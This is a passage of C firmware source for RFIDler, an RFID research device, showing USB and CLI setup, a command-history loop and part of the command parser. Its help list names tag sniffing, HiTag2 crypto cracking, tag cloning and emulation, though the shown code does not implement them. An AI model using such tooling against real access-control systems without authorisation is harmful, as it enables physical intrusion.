BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
unsigned int EMU_Repeat; // Number of times to transmit full data set
BOOL EMU_Background= FALSE; // Emulate in the background until told to stop
unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
BYTE ReaderPeriod= FALSE; // reder period flag for analogue display - toggled by reader ISR
BOOL FakeRead= FALSE; // flag for analogue sampler to signal it wants access to buffers during read
BOOL PWD_Mode= FALSE; // is this tag password protected?
BYTE Password[9]= {0, 0, 0, 0, 0, 0, 0, 0, 0}; // 32 bits as HEX string set with LOGIN
// globals for RWD commands
BYTE RWD_State= RWD_STATE_INACTIVE;
unsigned int RWD_Fc= 0; // field clock in uS
unsigned int RWD_Gap_Period= 0; // length of command gaps in OC5 ticks
unsigned int RWD_Zero_Period= 0; // length of '0' in OC5 ticks
unsigned int RWD_One_Period= 0; // length of '1' in OC5 ticks
unsigned int RWD_Sleep_Period= 0; // length of initial sleep to reset tag in OC5 ticks
unsigned int RWD_Wake_Period= 0; // length required for tag to restart OC5 ticks
unsigned int RWD_Wait_Switch_TX_RX= 0; // length to wait when switching from TX to RX in OC5 ticks
unsigned int RWD_Wait_Switch_RX_TX= 0; // length to wait when switching from RX to TX in OC5 ticks
unsigned int RWD_Post_Wait= 0; // low level ISR wait period in OC5 ticks
unsigned int RWD_OC5_config= 0; // Output Compare Module settings
unsigned int RWD_OC5_r= 0; // Output Compare Module primary compare value
unsigned int RWD_OC5_rs= 0; // Output Compare Module secondary compare value
BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
BYTE *RWD_Command_ThisBit= RWD_Command_Buff; // Current command bit
BOOL stringPrinted;
volatile BOOL buttonPressed;
volatile BYTE buttonCount;
BYTE TmpBuff[NVM_PAGE_SIZE]; // we use this during page erase
BYTE DataBuff[ANALOGUE_BUFF_LEN]; // shared data buffer for external readers etc.
unsigned int DataBuffCount= 0;
BYTE Interface= INTERFACE_API; // no menu/prompts by default
BYTE CommsChannel= COMMS_NONE;
BYTE Sniffstore = 0;
const BYTE *OnOff[]= {
"Off",
"On"
};
const BYTE *HighLow[]= {
"Low",
"High"
};
/** P R I V A T E P R O T O T Y P E S ***************************************/
static void InitializeSystem(void);
BYTE ProcessIO(void);
void USBCBSendResume(void);
void UserInit(void);
void MakeUSBSerialNumberFromEMAC(void);
void parse_BL_packet(void);
BYTE ProcessSerialCommand(char *command);
unsigned int read_adc(void);
void slog(BYTE *message1, BYTE *message2);
// for bootloader
unsigned int * SoftwareKey = NULL;
int main(void)
{
InitializeSystem();
// execute autorun command
if(*RFIDlerConfig.AutoRun)
{
mLED_User_On();
ProcessSerialCommand(RFIDlerConfig.AutoRun);
mLED_User_Off();
}
while(42)
{
if(USB_BUS_SENSE && (USBGetDeviceState() == DETACHED_STATE))
USBDeviceAttach();
// check for input
ProcessIO();
}//end while
}//end main
/********************************************************************
* Function: static void InitializeSystem(void)
*
* PreCondition: None
*
* Input: None
*
* Output: Nonechar
*
* Side Effects: None
*
* Overview: InitializeSystem is a centralize initialization
* routine. All required USB initialization routines
* are called from here.
*
* User application initialization routine should
* also be called from here.
*
* Note: None
*******************************************************************/
static void InitializeSystem(void)
{
BYTE tmp;
AD1PCFG = 0xFFFF;
SYSTEMConfigPerformance(GetSystemClock());
// timers
// timer1 is used by SmartCard libs
CloseTimer1();
// timer2 is used by SmartCard and SD Card and rfidler clock routines for RFID carrier
CloseTimer2();
// timer4 is used by RFID reader ISR
CloseTimer4();
// FIXME: move timer 2 to timer 3 so clock can run concurrently with SD or smartcard
// FIXME: convert timer45 to 16 bit so we can free up timer4
//OpenTimer45(T45_ON | T45_SOURCE_INT | T45_PS_1_1, 0xFFFFFFFF);
// timer5 is used for high level protocol timers that need uS. prescaler of 16 gives us up to 10,000 uS which is plenty
// note that TIMER_PRESCALER must be set to match!
OpenTimer5(T5_ON | T5_SOURCE_INT | T5_PS_1_16, 0xFFFFFFFF);
// set to highest priority so our protocol timings are always accurate (use 6 or less everywhere else)
// FIXME: this doesn't actually work - test by starting clock and doing 'timer-test'
mT5SetIntPriority(7);
MakeUSBSerialNumberFromEMAC();
USBDeviceInit();
// make sure usb is up so we can log startup
#if defined(USB_INTERRUPT)
if(USB_BUS_SENSE && (USBGetDeviceState() == DETACHED_STATE))
USBDeviceAttach();
#endif
// give USB time to attach etc.
Delay_us(3000000);
// load stored config
loadconfig();
UserInit();
}
void UserInit(void)
{
unsigned int i, count;
//Initialize all of the debouncing variables
buttonCount = 0;
buttonPressed = FALSE;
stringPrinted = TRUE;
// gpio
Init_GPIO();
// leds
mLED_All_On();
// uart
UART3Init();
// wiegand / clock & data
wiegand_set_pullups(TRUE);
// ISO 7816 SmartCard
SC_Initialize();
// coil in reader mode by default
COIL_MODE_READER();
// initalise ADC for rolling sample buffer
//init_adc();
// LCR
LCR_CALIBRATE= LOW;
//// RTC
//// only enable this code if you've installed the 32.768KHz crystal at X2
//// otherwise code will hang while waiting for clock to initialise
//RtccOutputEnable(FALSE);
//RtccInit();
//while(RtccGetClkStat() != RTCC_CLK_ON)
// ;
//// set default time/date - Wednesday Jan 1st 2014, 00:00:01
//RtccSetTimeDate(0x00000100, 0x14010103);
mLED_All_Off();
// auto-set initial tag type
tag_set(RFIDlerConfig.TagType);
}
/********************************************************************
* Function: void ProcessIO(void)
*
* PreCondition: None
*
* Input: None
*
* Output: None
*
* Side Effects: None
*
* Overview: This function is a place holder for other user
* routines. It is a mixture of both USB and
* non-USB tasks.
*
* Note: None
*******************************************************************/
BYTE ProcessIO(void)
{
BYTE numBytesRead= 0, i;
static BYTE commandbytes = 0;
static BYTE command_buffer[COMMS_BUFFER_SIZE];
static BYTE history[MAX_HISTORY][COMMS_BUFFER_SIZE], history_pos= 0, history_peak= 0, going_up= FALSE;
//Blink the LEDs according to the comms device status
BlinkCommsStatus();
if(CommsChannel == COMMS_USB)
{
// User Application USB tasks
if((USBDeviceState < CONFIGURED_STATE)||(USBSuspendControl==1))
return;
if (mUSBUSARTIsTxTrfReady())
numBytesRead= getsUSBUSART(Comms_In_Buffer, 64);
}
// check for serial input
if (UART3IsPressed())
{
CommsChannel= COMMS_UART;
numBytesRead= GetUART3Message(Comms_In_Buffer, SERIAL_TIMEOUT);
}
if (numBytesRead != 0)
{
for (i = 0; i < numBytesRead; i++)
{
switch (Comms_In_Buffer[i])
{
// backspace or delete
case 0x08:
case 0x7f:
numBytesRead= 0;
if(commandbytes == 0)
{
// beep
UserMessage("%s", "\a");
break;
}
// erase character
UserMessage("%s", "\b \b");
command_buffer[commandbytes--]= '\0';
break;
// enter
case 0x0A:
case 0x0D:
command_buffer[commandbytes] = '\0';
going_up= FALSE;
// don't put empty commands in history
if(!strlen(command_buffer))
return ProcessSerialCommand(command_buffer);
// shuffle history down if we already reached and used the last entry
if(history_pos == MAX_HISTORY - 1 && strlen(&history[MAX_HISTORY - 1][0]))
for(i= 1 ; i < MAX_HISTORY ; ++i)
strcpy(&history[i - 1][0], &history[i][0]);
strcpy(&history[history_pos][0], command_buffer);
if(history_pos > history_peak)
history_peak= history_pos;
if(history_pos < MAX_HISTORY - 1)
history_pos++;
commandbytes = 0;
numBytesRead = 0;
return ProcessSerialCommand(command_buffer);
break;
// TODO: fix history - memory corruption?
// arrow key?
case 0x1B:
// get the next two bytes, overwriting current byte - should be '[' + command
// fixme: make this work with serial input as well
if(CommsChannel == COMMS_USB)
{
while(!USBUSARTIsTxTrfReady())
CDCTxService();
while(!getsUSBUSART(Comms_In_Buffer, 2))
;
if(Comms_In_Buffer[0] != '[')
break;
}
// always clear previous
while(commandbytes)
{
commandbytes--;
UserMessage("%s", "\b \b");
}
command_buffer[0]= '\0';
numBytesRead= 0;
// UP
if(Comms_In_Buffer[1] == 'A')
{
if(history_pos == 0)
UserMessage("%s", "\a");
else
{
// first time we hit up we should show current line, not decrement
if(going_up)
--history_pos;
else
going_up= TRUE;
}
strcpy(command_buffer, &history[history_pos][0]);
}
// DOWN
if(Comms_In_Buffer[1] == 'B')
{
going_up= FALSE;
if(history_pos > history_peak || history_pos == MAX_HISTORY - 1)
UserMessage("%s", "\a");
else
strcpy(command_buffer, &history[++history_pos][0]);
}
commandbytes= strlen(command_buffer);
UserMessage("%s", command_buffer);
break;
default:
if(commandbytes == TMP_SMALL_BUFF_LEN || Comms_In_Buffer[i] < ' ' || Comms_In_Buffer[i] > '~')
{
// beep
UserMessage("%s", "\a");
numBytesRead= 0;
break;
}
Comms_Out_Buffer[i] = command_buffer[commandbytes++] = Comms_In_Buffer[i];
break;
}
}
if(Interface == INTERFACE_CLI)
{
Comms_Out_Buffer[numBytesRead]= '\0';
UserMessage("%s", Comms_Out_Buffer);
}
}
CDCTxService();
} //end ProcessIO
/*******************************************************************
* Function: void USBCBCheckOtherReq(void)
*
* PreCondition: None
*
* Input: None
*
* Output: None
*
* Side Effects: None
*
* Overview: When SETUP packets arrive from the host, some
* firmware must process the request and respond
* appropriately to fulfill the request. Some of
* the SETUP packets will be for standard
* USB "chapter 9" (as in, fulfilling chapter 9 of
* the official USB specifications) requests, while
* others may be specific to the USB device class
* that is being implemented. For example, a HID
* class device needs to be able to respond to
* "GET REPORT" type of requests. This
* is not a standard USB chapter 9 request, and
* therefore not handled by usb_device.c. Instead
* this request should be handled by class specific
* firmware, such as that contained in usb_function_hid.c.
*
* Note: None
*******************************************************************/
void USBCBCheckOtherReq(void)
{
USBCheckCDCRequest();
}//end
/*******************************************************************
* Function: void USBCBInitEP(void)
*
* PreCondition: None
*
* Input: None
*
* Output: None
*
* Side Effects: None
*
* Overview: This function is called when the device becomes
* initialized, which occurs after the host sends a
* SET_CONFIGURATION (wValue not = 0) request. This
* callback function should initialize the endpoints
* for the device's usage according to the current
* configuration.
*
* Note: None
*******************************************************************/
void USBCBInitEP(void)
{
//Enable the CDC data endpoints
CDCInitEP();
}
/********************************************************************
* Function: void USBCBSendResume(void)
*
* PreCondition: None
*
* Input: None
*
* Output: None
*
* Side Effects: None
*
* Overview: The USB specifications allow some types of USB
* peripheral devices to wake up a host PC (such
* as if it is in a low power suspend to RAM state).
* This can be a very useful feature in some
* USB applications, such as an Infrared remote
* control receiver. If a user presses the "power"
* button on a remote control, it is nice that the
* IR receiver can detect this signalling, and then
* send a USB "command" to the PC to wake up.
*
* The USBCBSendResume() "callback" function is used
* to send this special USB signalling which wakes
* up the PC. This function may be called by
* application firmware to wake up the PC. This
* function will only be able to wake up the host if
* all of the below are true:
*
* 1. The USB driver used on the host PC supports
* the remote wakeup capability.
* 2. The USB configuration descriptor indicates
* the device is remote wakeup capable in the
* bmAttributes field.
* 3. The USB host PC is currently sleeping,
* and has previously sent your device a SET
* FEATURE setup packet which "armed" the
* remote wakeup capability.
*
* If the host has not armed the device to perform remote wakeup,
* then this function will return without actually performing a
* remote wakeup sequence. This is the required behavior,
* as a USB device that has not been armed to perform remote
* wakeup must not drive remote wakeup signalling onto the bus;
* doing so will cause USB compliance testing failure.
*
* This callback should send a RESUME signal that
* has the period of 1-15ms.
*
* Note: This function does nothing and returns quickly, if the USB
* bus and host are not in a suspended condition, or are
* otherwise not in a remote wakeup ready state. Therefore, it
* is safe to optionally call this function regularly, ex:
* anytime application stimulus occurs, as the function will
* have no effect, until the bus really is in a state ready
* to accept remote wakeup.
*
* When this function executes, it may perform clock switching,
* depending upon the application specific code in
* USBCBWakeFromSuspend(). This is needed, since the USB
* bus will no longer be suspended by the time this function
* returns. Therefore, the USB module will need to be ready
* to receive traffic from the host.
*
* The modifiable section in this routine may be changed
* to meet the application needs. Current implementation
* temporary blocks other functions from executing for a
* period of ~3-15 ms depending on the core frequency.
*
* According to USB 2.0 specification section 7.1.7.7,
* "The remote wakeup device must hold the resume signaling
* for at least 1 ms but for no more than 15 ms."
* The idea here is to use a delay counter loop, using a
* common value that would work over a wide range of core
* frequencies.
* That value selected is 1800. See table below:
* ==========================================================
* Core Freq(MHz) MIP RESUME Signal Period (ms)
* ==========================================================
* 48 12 1.05
* 4 1 12.6
* ==========================================================
* * These timing could be incorrect when using code
* optimization or extended instruction mode,
* or when having other interrupts enabled.
* Make sure to verify using the MPLAB SIM's Stopwatch
* and verify the actual signal on an oscilloscope.
*******************************************************************/
void USBCBSendResume(void)
{
static WORD delay_count;
//First verify that the host has armed us to perform remote wakeup.
//It does this by sending a SET_FEATURE request to enable remote wakeup,
//usually just before the host goes to standby mode (note: it will only
//send this SET_FEATURE request if the configuration descriptor declares
//the device as remote wakeup capable, AND, if the feature is enabled
//on the host (ex: on Windows based hosts, in the device manager
//properties page for the USB device, power management tab, the
//"Allow this device to bring the computer out of standby." checkbox
//should be checked).
if(USBGetRemoteWakeupStatus() == TRUE)
{
//Verify that the USB bus is in fact suspended, before we send
//remote wakeup signalling.
if(USBIsBusSuspended() == TRUE)
{
USBMaskInterrupts();
//Clock switch to settings consistent with normal USB operation.
USBSuspendControl = 0;
USBBusIsSuspended = FALSE; //So we don't execute this code again,
//until a new suspend condition is detected.
//Section 7.1.7.7 of the USB 2.0 specifications indicates a USB
//device must continuously see 5ms+ of idle on the bus, before it sends
//remote wakeup signalling. One way to be certain that this parameter
//gets met, is to add a 2ms+ blocking delay here (2ms plus at
//least 3ms from bus idle to USBIsBusSuspended() == TRUE, yeilds
//5ms+ total delay since start of idle).
delay_count = 3600U;
do
{
delay_count--;
}while(delay_count);
//Now drive the resume K-state signalling onto the USB bus.
USBResumeControl = 1; // Start RESUME signaling
delay_count = 1800U; // Set RESUME line for 1-13 ms
do
{
delay_count--;
}while(delay_count);
USBResumeControl = 0; //Finished driving resume signalling
USBUnmaskInterrupts();
}
}
}
/*******************************************************************
* Function: BOOL USER_USB_CALLBACK_EVENT_HANDLER(
* int event, void *pdata, WORD size)
*
* PreCondition: None
*
* Input: int event - the type of event
* void *pdata - pointer to the event data
* WORD size - size of the event data
*
* Output: None
*
* Side Effects: None
*
* Overview: This function is called from the USB stack to
* notify a user application that a USB event
* occured. This callback is in interrupt context
* when the USB_INTERRUPT option is selected.
*
* Note: None
*******************************************************************/
BOOL USER_USB_CALLBACK_EVENT_HANDLER(int event, void *pdata, WORD size)
{
switch( event )
{
case EVENT_TRANSFER:
CommsChannel= COMMS_USB;
break;
case EVENT_CONFIGURED:
USBCBInitEP();
break;
case EVENT_EP0_REQUEST:
USBCBCheckOtherReq();
break;
default:
break;
}
return TRUE;
}
unsigned int read_adc(void)
{
unsigned int offset;
// clear interrupt so we read
mAD1ClearIntFlag();
// wait for ADC to finish reading
while ( !mAD1GetIntFlag() )
;
offset = 8 * ((~ReadActiveBufferADC10() & 0x01));
return ReadADC10(offset);
}
int starts_with(const BYTE *str,const BYTE *pre)
{
size_t lenpre = strlen(pre),
lenstr = strlen(str);
if(lenpre == 0) return 1;
return lenstr < lenpre ? 0 : strncmp(pre, str, lenpre) == 0;
}
/******************************************************************
* Function: void show_usage(char *command)
*
* PreCondition: None
*
* Input: char *command - input command
* Output: None
*
* Side Effects: None
*
* Overview: This function displays usage info.
* If the input command is blank, help about
* all available commands is shown. If the input
* command is e.g. TA, help about all commands
* starting with TA is shown.
* Similar case for "HELP TA".
* Note: None
*******************************************************************/
void show_usage(char *command)
{
static BYTE* commands[] = {
"ANALOGUE[N] <# OF SAMPLES> Sample raw coil ([N]o local clock) & output in XML (HEX)\r\n",
"APDU Transmit (HEX) ISO-7816-4 APDU to SmartCard. Return is [DATA]++\r\n",
"API Switch to API mode\r\n",
"ASK Emulate ASK, Field Clock in uS/100, Data Rate in RF/n\r\n",
"ATR Get Answer To Reset from SmartCard\r\n",
"AUTH [HEX KEY] [BLOCK] Authenticate in CRYPTO mode\r\n",
"AUTOPOT Auto-Detect ideal POT setting(s)\r\n",
"AUTORATE Auto-Detect data rate\r\n",
"AUTORUN [OFF | COMMAND [ARGS]] Set/Show startup command\r\n",
"AUTOTAG Auto-Detect TAG type\r\n",
"BINTOHEX Show BINARY as HEX string\r\n",
"BL Reboot in BOOTLOADER mode\r\n",
"CLI Switch to CLI mode\r\n",
"COIL Set emulator coil output HIGH/LOW\r\n",
"CONFIG Show current NVM config\r\n",
"CONVERT Convert VTAG to TAGTYPE\r\n",
"CLOCKH Enable H/W TOGGLE CLOCK (timings in Hz, max 250,000)\r\n",
"CLOCKP Enable H/W PWM CLOCK (timings in uS/100, max 53,687,091)\r\n",
"CLOCKT Enable H/W TOGGLE CLOCK (timings in uS/100, max 53,687,091)\r\n",
"CLONE [HEX KEY|PWD] Copy Virtual TAG to TAG (may require auth/login)\r\n",
"COPY [TAGTYPE] [HEX KEY|PWD] Copy TAG (and optionally convert) to Virtual TAG (may require auth/login)\r\n",
"DEBUG [1-4] Toggle DEBUG line state (no argument to SHOW current states)\r\n",
"DEBUGOFF <0-4> DEBUG off (LOW) (0 for ALL)\r\n",
"DEBUGON <0-4> DEBUG on (HIGH) (0 for ALL)\r\n",
"DETECT Detect external clock with READER coil\r\n",
"DOOR Close or Open DOOR RELAY\r\n",
"DUMP [END BLOCK] Read and view data block(s) (may require auth/login)\r\n",
"EMU One-shot emulate UID with current TAG config\r\n",
"EMULATOR [BG] Continuously emulate VTAG [optionally in the BackGround]\r\n",
"ENCODE [TAGTYPE] Show raw HEX UID or create VTAG for encoded UID\r\n",
"EXAMPLES Show some emulation examples\r\n",
"FSK Emulate FSK, Field Clock in uS/100, Data Rate in RF/n,\r\n\
Sub Carriers 0/1 in RF/n\r\n",
"FREQUENCY Show resonant frequency of coil\r\n",
"HELP Show this help\r\n",
"HEXTOBIN Show HEX as BINARY string\r\n",
"HITAG2-CRACK Crack HiTag2 card crypto (SNIFF-PWM first)\r\n",
"HITAG2-KEYSTREAM Retrieve HiTag2 card crypto keystream (SNIFF-PWM first)\r\n",
"HITAG2-READER [KEY] [S] Reader mode for crypto authenticated HiTag2 operations - S stores to NVRAM\r\n",
"HITAG2-CLEARSTOREDTAGS Clears the HiTag2 tags from NVRAM\r\n",
"HITAG2-COUNTSTOREDTAGS Displays the number of HiTag2 tags stored in NVRAM\r\n",
"HITAG2-LISTSTOREDTAGS [START] [END] Displays the stored tags from START to END\r\n",
"LOAD Load config from NVM\r\n",
"LED <1-6> Toggle LED\r\n",
"LEDOFF <0-6> LED off (0 for ALL)\r\n",
"LEDON <0-6> LED on (0 for ALL)\r\n",
"LOGIN [PWD] [BLOCK] Authenticate in PASSWORD mode\r\n",
"PING Keepalive - prints 'RFIDler'\r\n",
"PINS Show wiring diagram (alias: WIRES WIRING)\r\n",
"POTS Show POT wiper settings\r\n",
"POTINC <1-255> Increment POT\r\n",
"POTDEC <1-255> Decrement POT\r\n",
"POTSET[V][NV] <0-255> Set [Volts][Non Volatile] POT wiper\r\n",
"PSK1 Emulate PSK1, Field Clock in uS/100, Data Rate in RF/n,\r\n\
Sub Carrier in RF/n\r\n",
"PWM Set PWM parameters for RWD commands, Field Clock in uS/100, timings in FCs\r\n",
"READ [END BLOCK] Read and store data block(s) (may require auth/login)\r\n",
"READER Go into READER mode (continuously acquire UID)\r\n",
"REBOOT Perform soft reset\r\n",
"RTC Show Real Time Clock\r\n",
"RWD Send binary command/data\r\n",
"SAVE Save current config to NVM\r\n",
"SELECT [UID] Send SELECT command\r\n",
"SET BIPHASE Set BiPhase encoding\r\n",
"SET BITS Set number of data bits\r\n",
"SET FC Set Field Clock in uS/100\r\n",
"SET INVERT Set data inversion\r\n",
"SET MANCHESTER Set Manchester encoding\r\n",
"SET MOD Set modulation scheme\r\n",
"SET PSK Set minimum PSK pulse width in uS\r\n",
"SET RATE Set Data Rate in RF/n (FC/bit)\r\n",
"SET REPEAT Set emulation transmission repetitions\r\n",
"SET SUB0 Set Sub Carrier 0 data rate in RF/n (FC/bit)\r\n",
"SET SUB1 Set Sub Carrier 1 data rate in RF/n (FC/bit)\r\n",
"SET SYNCBITS Set number of SYNC bits\r\n",
"SET SYNC<0-3> Set SYNC byte 0-3\r\n",
"SET TAG Set parameters appropriate for TAG TYPE\r\n",
"SET VTAG Set Virtual TAG TYPE\r\n",
"SNIFFER Go into SNIFFER mode (continuously sniff UID)\r\n",
"SNIFF-PWM [MIN GAP] [MIN PULSE] [MESG GAP] Sniff PWM on external clock with READER coil. Values in uS (default 12/0/0).\r\n",
"SNIFF-PWM Sniff PWM (HiTag2 mode) to NVRAM - CLEAR, STORE, LIST\r\n",
"STOP Stop any running clocks\r\n",
"TAGS Show known TAG TYPES\r\n",
"TCONFIG Show TAG's config block\r\n",
"TEST-HITAG Hitag2 crypto - test correctness & timing\r\n",
"TEST-RWD [HEX KEY|PATTERN|PWD] Find ideal paramaters for RWD commands\r\n",
"TEST-SC Test ISO-7816 Smartcard (get ATR)\r\n",
"TEST-SD Test SD card (directory listing)\r\n",
"TEST-TIMER Timer tests\r\n",
"TEST-WIEGAND Wiegand loopback test\r\n",
"TEST-WIEGAND-READ Wiegand reader test (triggers with DEBUG_PIN_X)\r\n",
"TRESET [PWD] Reset TAG's config block to default\r\n",
"TRISTATE Switch reader circuit tri-state ON/OFF\r\n",
"TWIPE [PWD] Reset TAG contents to default (*** all data will be lost!)\r\n",
"UID Read TAG UID\r\n",
"VERSION Show firmware version\r\n",
"VTAG Show contents of Virtual TAG\r\n",
"VWRITE Write VTAG data block(s)\r\n",
"WIEGAND-LEARN Learn Wiegand input timings\r\n",
"WIEGAND-OUT Set Wiegand output OFF or ON\r\n",
"WIEGAND-READ Read Wiegand input\r\n",
"WIEGAND-WRITE Send Wiegand output\r\n",
"WIPE Wipe NVM\r\n",
"WRITE Write data block (may require login/auth)\r\n",
"WIRES Show wiring diagram (alias: WIRING PINS)\r\n",
"WIRING Show wiring diagram (alias: WIRES PINS)\r\n",
NULL,
};
/**
* If the command is "HELP X", we can remove "HELP ".
* This way, someone can type "HELP WIPE", whereas "WIPE" would
* actually perform the operation.
*/
char used_command[100] = { 0 };
size_t len = strlen(command) < sizeof(used_command) ? strlen(command) : sizeof(used_command);
if(len > 0)
{
if(starts_with(command,"HELP ")){
//Remove "help "
strncpy(used_command, command+5,len-5 );
}else
{
//just copy
strncpy(used_command, command,len);
}
}
size_t i = 0;
int displayAll = strcmp(used_command, "HELP") == 0;
for(i; commands[i] != NULL ; i++)
{
if( displayAll||starts_with( commands[i],used_command ))
{
UserMessage(" %s", commands[i]);
}
}
UserMessage("%s","Note: '*' prepended to main prompt indicates unsaved config changes\r\n");
}
BYTE ProcessSerialCommand(char *command)
{
BYTE commandok= FALSE;
BYTE tmpc;
double tmpfloat;
unsigned int i, p, tmpint, tmpint1, tmpint2, tmpint3, tmpint4, tmpint5, tmpint6, tmpint7;
static unsigned long tmplong;
static char local_tmp[256], local_tmp1[256], local_tmp2[256];
BYTE *ccprompt= "";
static BYTE *prompt= "RFIDler"; // main prompt
BYTE *prompt_2= "> ";
ToUpper(command);
// switch to menu mode if empty command
if(strlen(command) == 0)
Interface= INTERFACE_CLI;
// experimental - figure out rates etc for analogue grabbing
if (strncmp(command, "ANALOGUE ", 9) == 0)
{
if(sscanf(command + 9, "%d", &tmpint) == 1)
{
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
commandok= command_nack("Set TAG type first!");
else
{
commandok= command_ack(DATA);
analogue_sample(tmpint, TRUE);
analogue_xml_out(tmpint);
eod();
}
}
else
commandok= command_nack("Invalid number of samples!");
}
if (strncmp(command, "ANALOGUEN ", 10) == 0)
{
if(sscanf(command + 10, "%d", &tmpint) == 1)
{
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
commandok= command_nack("Set TAG type first!");
else
{
commandok= command_ack(DATA);
analogue_sample(tmpint, FALSE);
analogue_xml_out(tmpint);
eod();
}
}
else
commandok= command_nack("Invalid number of samples!");
}
if (strncmp(command, "APDU ", 5) == 0)
{
commandok= command_ack(DATA);
iso_7816_send_hex_apdu(command + 5);
iso_7816_output();
eod();
}
if (strcmp(command, "API") == 0)
{
commandok= command_ack(NO_DATA);
Interface= INTERFACE_API;
}
if (strncmp(command, "ASK ", 4) == 0)
{
if(sscanf(command + 4,"%s %ld %u %u", local_tmp, &tmplong, &tmpint, &tmpint1) == 4)
{
if(!send_ask_hex(local_tmp, tmplong, tmpint, tmpint1))
commandok= command_nack("Send failed!");
else
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid parameters!");
}
if (strcmp(command, "ATR") == 0)
{
if(SC_PowerOnATR())
{
commandok= command_ack(DATA);
hexprintbinarray(scCardATR, scATRLength);
UserMessage("%s", "\r\n");
eod();
}
else
commandok= command_nack("Failed!");
}
if (strncmp(command, "AUTH", 4) == 0)
{
// allow null key / block
local_tmp[0]= '\0';
tmpint= 0;
if(sscanf(command + 4, " %s %u", local_tmp, &tmpint) > 2)
commandok= command_nack("Invalid parameters!");
else
{
if(tag_auth(tmpint, DataBuff, local_tmp))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("Auth failed!");
}
}
if (strcmp(command, "AUTOPOT") == 0)
{
commandok= command_ack(DATA);
autopot();
eod();
}
if (strcmp(command, "AUTORATE") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s", "Trying (for best results use non-zero SYNC bits):\r\n");
tmpint= autorate();
if (tmpint)
UserMessageNum("Data rate is RF/%d\r\n", tmpint);
eod();
}
if (strcmp(command, "AUTORUN") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", RFIDlerConfig.AutoRun);
eod();
}
if (strcmp(command, "AUTORUN OFF") == 0)
{
memset(RFIDlerConfig.AutoRun, 0x00, sizeof(RFIDlerConfig.AutoRun));
commandok= command_ack(NO_DATA);
}
else if(strncmp(command, "AUTORUN ", 8) == 0 && strlen(command + 8) < sizeof(RFIDlerConfig.AutoRun) - 1)
{
strcpy(RFIDlerConfig.AutoRun, command + 8);
commandok= command_ack(NO_DATA);
}
if (strcmp(command, "AUTOTAG") == 0)
{
commandok= command_ack(DATA);
auto_detect_tag_type();
eod();
}
if (strncmp(command, "BINTOHEX ", 9) == 0)
{
commandok= command_ack(DATA);
printbinstringashex(command + 9);
eod();
}
if (strcmp(command, "BL") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s", "Switching to BOOTLOADER mode...\r\n\r\n");
eod();
Delay_us(100000);
parse_BL_packet();
}
if (strcmp(command, "CLI") == 0)
{
Interface= INTERFACE_CLI;
commandok= command_ack(NO_DATA);
}
if (strncmp(command, "CLOCKH ", 7) == 0)
{
if(sscanf(&command[7], "%lf", &tmpfloat) == 1 && tmpfloat > 0)
{
// convert to uS/100
tmplong= (unsigned long) ((1L/tmpfloat) * 100000000L);
InitHWReaderClock(OC_TOGGLE_PULSE, tmplong / 2L, tmplong, RWD_STATE_ACTIVE);
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Failed!");
}
if (strncmp(command, "CLOCKP ", 7) == 0)
{
if(sscanf(&command[7], "%u %u", &tmpint, &tmpint1) == 2 && tmpint > 0 && tmpint1 > tmpint)
{
InitHWReaderClock(OC_PWM_FAULT_PIN_DISABLE, (unsigned long) tmpint * 2L, (unsigned long) tmpint1 * 2L, RWD_STATE_ACTIVE);
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Failed!");
}
if (strncmp(command, "CLOCKT ", 7) == 0)
{
if(sscanf(&command[7], "%ld", &tmplong) == 1 && tmplong > 0)
{
InitHWReaderClock(OC_TOGGLE_PULSE, tmplong / 2L, tmplong, RWD_STATE_ACTIVE);
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Failed!");
}
if (strncmp(command, "CLONE", 5) == 0)
{
// allow null key/pwd
local_tmp[0]= '\0';
if(sscanf(command + 5, "%s", local_tmp) <= 1)
{
if (!vtag_write_to_tag(local_tmp))
commandok= command_nack("Failed!");
else
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid parameters!");
}
if (strcmp(command, "COIL HIGH") == 0)
{
commandok= command_ack(NO_DATA);
COIL_OUT_HIGH();
}
if (strcmp(command, "COIL LOW") == 0)
{
commandok= command_ack(NO_DATA);
COIL_OUT_LOW();
}
if (strcmp(command, "CONFIG") == 0)
{
commandok= command_ack(DATA);
showconfig();
eod();
}
if (strncmp(command, "CONVERT ", 8) == 0)
{
if(RFIDlerVTag.TagType)
{
if(sscanf(command + 7, "%s", local_tmp) == 1)
{
if(vtag_convert(local_tmp))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Failed!");
}
}
else
commandok= command_nack("VTag type not set!");
}
if (strncmp(command, "COPY", 4) == 0)
{
// allow empty tag type / pwd/key
local_tmp[0]= '\0';
local_tmp1[0]= '\0';
tmpint= 0;
if(sscanf(command + 4, "%s %s", local_tmp, local_tmp1) <= 2)
{
if(vtag_copy_from_tag(local_tmp, local_tmp1))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Failed!");
}
else
commandok= command_nack("Invalid parameters!");
}
if(strcmp(command, "DEBUG") == 0)
{
commandok= command_ack(DATA);
debug_show();
eod();
}
if (strncmp(command, "DEBUG ", 6) == 0)
{
if(sscanf(command + 6, "%i", &tmpint) == 1)
{
if (debug_toggle((BYTE) tmpint))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Invalid DEBUG pin!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strncmp(command, "DEBUGON ", 8) == 0)
{
if(sscanf(command + 8, "%i", &tmpint) == 1)
{
if (debug_on((BYTE) tmpint))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Invalid DEBUG pin!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strncmp(command, "DEBUGOFF ", 9) == 0)
{
